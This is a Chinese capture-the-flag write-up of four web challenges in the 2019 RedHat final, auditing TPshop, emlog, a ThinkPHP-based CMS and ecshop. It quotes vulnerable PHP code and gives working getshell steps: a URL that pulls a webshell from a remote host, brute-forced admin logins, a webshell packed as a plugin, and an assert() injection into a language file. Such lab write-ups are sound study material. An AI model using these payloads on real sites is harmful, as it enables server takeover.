2019 RedHat决赛 Writeup

Threezh1 Jokuuy Playmaker 2019年11月23日

离结束只有40多分钟了,web题ak了之后不会修… 把wp写一下吧。web四个题都是简单的代码审计题。

粤湾基金

地址: http://172.16.9.41:9005/

是一个TPshop的商城框架,界面如图所示:

01.png

漏洞文件:\application\home\controller\Test.php

漏洞函数:dlfile()

1
2
3
4
5
6
7
8
9
10
11
12
public function dlfile($file_url, $save_to)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch,CURLOPT_URL,$file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch);
curl_close($ch);
$downloaded_file = fopen($save_to, 'w');
fwrite($downloaded_file, $file_content);
fclose($downloaded_file);
}

本地写一个包含一句话的木马(shell.txt)然后访问:

1
/Home/Test/dlfile?file_url=http://xxxx/shell.txt&save_to=/var/www/html/shell.php

然后用蚁剑连接:/shell.php 即可。

粤湾期货

地址: http://172.16.9.41:9006/

是一个emlog搭建的站点,以前打算审的,放弃了。界面如下:

02.png

找到后台路径:/admin/

用户名admin,爆破出密码为admin12345 进入后台

后台有一个上传插件的点,验证压缩包格式的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function emUnZip($zipfile, $path, $type = 'tpl') {
if (!class_exists('ZipArchive', FALSE)) {
return 3;//zip模块问题
}
$zip = new ZipArchive();
if (@$zip->open($zipfile) !== TRUE) {
return 2;//文件权限问题
}
$r = explode('/', $zip->getNameIndex(0), 2);
$dir = isset($r[0]) ? $r[0] . '/' : '';
switch ($type) {
case 'tpl':
$re = $zip->getFromName($dir . 'header.php');
if (false === $re)
return -2;
break;
case 'plugin':
$plugin_name = substr($dir, 0, -1);
$re = $zip->getFromName($dir . $plugin_name . '.php');
if (false === $re)
return -1;
break;
...

从代码可知,一个插件名字叫做plugin,压缩包里面的内容就需要为plugin/plugin.php,不然格式就会验证错误。

将一句话的shell写入plugin.php,上传之后会被解压,然后访问即可getshell。

粤湾投资

地址: http://172.16.9.41:9007/

陈师傅以前审过的一个cms,快速的拿到了一血。当时没有截到这个cms的图,所以就直接看具体的代码吧:

任意文件上传:

echo/Apps/Home/Controller/UploadfileController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
/**
* [index 文件上传代码]
* @return [type] [description]
*/
public function index(){
if(IS_POST){

/**
* 1、如果是图片直接调用uploadPhoto()
* 2、如果是替他附件则按照当前配置设置
*/
$type = I('post.type','files');
$saveDir = I('post.savedir');
$thumbw = I('post.thumbw');
$thumbh = I('post.thumbh');
$filesize = I('post.filesize');
if($type == 'images' || preg_match('/^image\//', $_FILES['Filedata']['type'][0])){
$type = "images";
//是否添加水印
$water = I('post.water');

if($water){
$water_site = C('SITE_SYSTEM_IMG_WATER');
$water_new = isset($water_site) && !empty($water_site) ? $water_site : C('SYSTEM_IMG_WATER');
//$info = uploadPhoto('photo/'.$type.'',$thumbw,$thumbh,array('open'=>1));
$info = uploadPhoto($saveDir.'/'.$type,$thumbw,$thumbh,$water_new,$filesize);
} else {
$info = uploadPhoto($saveDir.'/'.$type,$thumbw,$thumbh,'',$filesize);
}

if(!is_array($info)){
$error_data['info'] = $info;
$error_data['status'] = 0;
$this->ajaxReturn($error_data);
}

$file['oringinal_type'] = 'images';
$file['status'] = 1;
$file['name'] = $_FILES['Filedata']['name'][0];
$file['savename'] = $info[0]['savename'];
$file['photo'] = substr($info[0]['savepath'],1).$info[0]['savename'];
$file['thumb'] = $info[0]['thumbpath'];
$file['location'] = 'upload';
$this->ajaxReturn($file);
} else {
$type = 'files';
$upload = new \Think\Upload();
$upload->maxSize = $filesize*1024; //文件上传的最大文件大小,附件最大100M
$upload->rootPath = "./"; //文件上传保存的根路径
$upload->savePath = $upload->rootPath."Public/Uploads/".$saveDir."/" . $type ."/";//文件上传的保存路径
$upload->saveName = date("YmdHis")."_".uniqid(); //上传文件的保存规则
$upload->replace = true; //存在同名文件是否是覆盖
$upload->autoSub = true;//自动使用子目录保存上传文件
$upload->subName = date("Ymd");//子目录创建方式,采用数组或者字符串方式定义
$upload->hash = true;//是否生成文件的hash编码 默认为true

if(!$info = $upload->upload()){
$error_data['status'] = 0;
$error_data['info'] = $upload->getError();
$this->ajaxReturn($error_data);
} else {
//处理文件图标
//excel
if(in_array($info[0]['ext'], array('xls','xlsx'))){
$info[0]['ext'] = 'xls';
}
//ppt
if(in_array($info[0]['ext'], array('ppt','pptx'))){
$info[0]['ext'] = 'ppt';
}
//word
if(in_array($info[0]['ext'], array('doc','docx'))){
$info[0]['ext'] = 'doc';
}
//音频
if(in_array($info[0]['ext'], array('wma','mp3','mid','wav'))){
$info[0]['ext'] = 'mp3';
}
//视频
if(in_array($info[0]['ext'], array('avi','mov','mpeg','mpg','swf','mp4'))){
$info[0]['ext'] = 'vedio';
}
//zip
if(in_array($info[0]['ext'], array('zip','rar','7z'))){
$info[0]['ext'] = 'zip';
}
//判断是否存在文件不存在则取默认图片
if(!file_exists("./Public/images/uploadfile/".$info[0]['ext'].".png")){
$info[0]['ext'] = "readme";
}
$info[0]['status'] = 1;
$info[0]['oringinal_type'] = 'files';
$info[0]['savepathall'] = substr($info[0]['savepath'],1).$info[0]['savename'];
$info[0]['location'] = 'upload';
$this->ajaxReturn($info[0]);
}
}
} else {
//缩略图配置
$site_thumbw = C('SITE_SYSTEM_THUMB_WIDTH');
$site_thumbh = C('SITE_SYSTEM_THUMB_HEIGHT');
$thumbw = isset($site_thumbw) && !empty($site_thumbw) ? C('SITE_SYSTEM_THUMB_WIDTH') : C('SYSTEM_THUMB_WIDTH');
$thumbh = isset($site_thumbh) && !empty($site_thumbh) ? C('SITE_SYSTEM_THUMB_HEIGHT') : C('SYSTEM_THUMB_HEIGHT');
$this->thumbw = I('get.thumbw',$thumbw);
$this->thumbh = I('get.thumbh',$thumbh);
$this->thumbw = $this->thumbw === 0 ? $thumbw : $this->thumbw;
$this->thumbh = $this->thumbh === 0 ? $thumbh : $this->thumbh;

$this->type = I('get.type',''); //类型
$this->myid = I('get.myid',''); //返回容器内容的值
$this->iframe = I('get.iframe',''); //返回的iframe容器
$this->field = I('get.field','');
$this->returntype = I('get.returntype','multiple'); //返回文件的个数类型,单个-single,多个-multiple,默认是多个

//控制上传文件大小
$this->filesize = I('get.filesize');
if(empty($this->filesize)){
if($this->type == 'images'){
$this->filesize = 3072; //图片默认3M
} else {
$this->filesize = 102400; //附件默认100M
}
}

//上传目录
$this->savedir = I('get.savedir','uploadfile');
$this->display();
}
}

可以看到没对上传的文件进行后缀验证,可造成任意文件上传。直接getshell。

粤湾租赁

地址: http://172.16.9.41:9008/

一个ecshop的商城框架,版本还挺新的。(里面的商品都是小米的???) 界面如下:

03.png

跟第二题一样的,爆破进入后台。

用户名:admin

密码:admin123

进来后台可以查到最近文件的修改记录,直接看到了edit_languages.php在最近有修改过,于是直接就去审它了。

漏洞点:\admin\edit_languages.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
elseif ($_REQUEST['act'] == 'edit')
{
/* 语言项的路径 */
$lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';

/* 替换前的语言项 */
$src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';

/* 修改过后的语言项 */
$dst_items = array();
$_POST['item_id'] = stripslashes_deep($_POST['item_id']);

for ($i = 0; $i < count($_POST['item_id']); $i++)
{
/* 语言项内容如果为空,不修改 */
if (trim($_POST['item_content'][$i]) == '')
{
unset($src_items[$i]);
}
else
{
$_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
// $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
}
}

/* 调用函数编辑语言项 */
$result = set_language_items($lang_file, $src_items, $dst_items);

可以看到从post中获取到的file_path和item传入到了set_language_items。

跟踪过去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function set_language_items($file_path, $src_items, $dst_items)
{
/* 检查文件是否可写(修改) */
if (file_mode_info($file_path) < 2)
{
return false;
}

/* 获取文件内容 */
$line_array = file($file_path);
if (!$line_array)
{
return false;
}
else
{
$file_content = implode('', $line_array);
}

$snum = count($src_items);
$dnum = count($dst_items);
if ($snum != $dnum)
{
return false;
}
/* 对索引进行排序,防止错位替换 */
ksort($src_items);
ksort($dst_items);
for ($i = 0; $i < $snum; $i++)
{
$file_content = str_replace($src_items[$i], $dst_items[$i], $file_content);

}

/* 写入修改后的语言项 */
$f = fopen($file_path, 'wb');
if (!$f)
{
return false;
}
if (!fwrite($f, $file_content))
{
return false;
}
else
{
return true;
}
}

可以看到并未对写入的内容做严格的过滤。

拿flag的步骤:

进入到模板管理 => 语言项编辑 => 选择user.php => 搜索 用户信息

将内容用户信息处修改为:${${assert($_POST[cmd])}}

当时蚁剑连接user.php没有成功。使用了另外一种方式:

POST数据:cmd=hightlight_file($_GET[a]),传入一个a=/flag读取到的flag。

Python之如何优雅的复制一个网站的所有页面 OKLite 1.2.25 几处getshell审计分析
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×